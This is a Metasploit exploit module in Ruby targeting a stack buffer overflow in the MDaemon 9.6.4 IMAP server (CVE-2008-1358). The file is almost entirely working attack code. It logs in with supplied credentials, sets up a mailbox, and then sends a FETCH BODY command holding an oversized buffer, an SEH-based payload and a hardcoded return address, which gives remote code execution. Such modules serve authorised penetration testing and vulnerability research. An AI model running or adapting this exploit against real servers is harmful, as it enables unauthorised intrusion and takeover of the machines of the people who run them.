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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Imap
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
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          version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
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          account credentials are required. Credit to Matteo Memelli
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        },
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        'Author' => [ 'Jacopo Cervini', 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2008-1358' ],
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          [ 'OSVDB', '43111' ],
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          [ 'BID', '28245' ],
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          [ 'EDB', '5248' ]
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        ],
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        'Privileged' => false,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => 400,
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          'BadChars' => "\x00\x0a])",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
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        ],
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        'DisclosureDate' => '2008-03-13',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    connect
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    disconnect
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    if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect_login
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    req0 = "0002 SELECT Inbox\r\n"
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    res = raw_send_recv(req0)
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    if (res and res =~ /0002 OK/)
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      print_status("SELECT command OK")
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    end
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    req1 = "0003 APPEND Inbox {1}\r\n"
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    res = raw_send_recv(req1)
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    if (res and res =~ /Ready for append literal/)
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      print_status("APPEND command OK")
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    end
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    res = raw_send_recv(rand_text_alpha(20) + "\r\n")
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    if (res and res =~ /APPEND completed/)
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      print_status("APPEND command finished")
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    end
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    buf = rand_text_alpha_upper(528, payload_badchars)
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    buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
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    sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
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    print_status("Sending payload")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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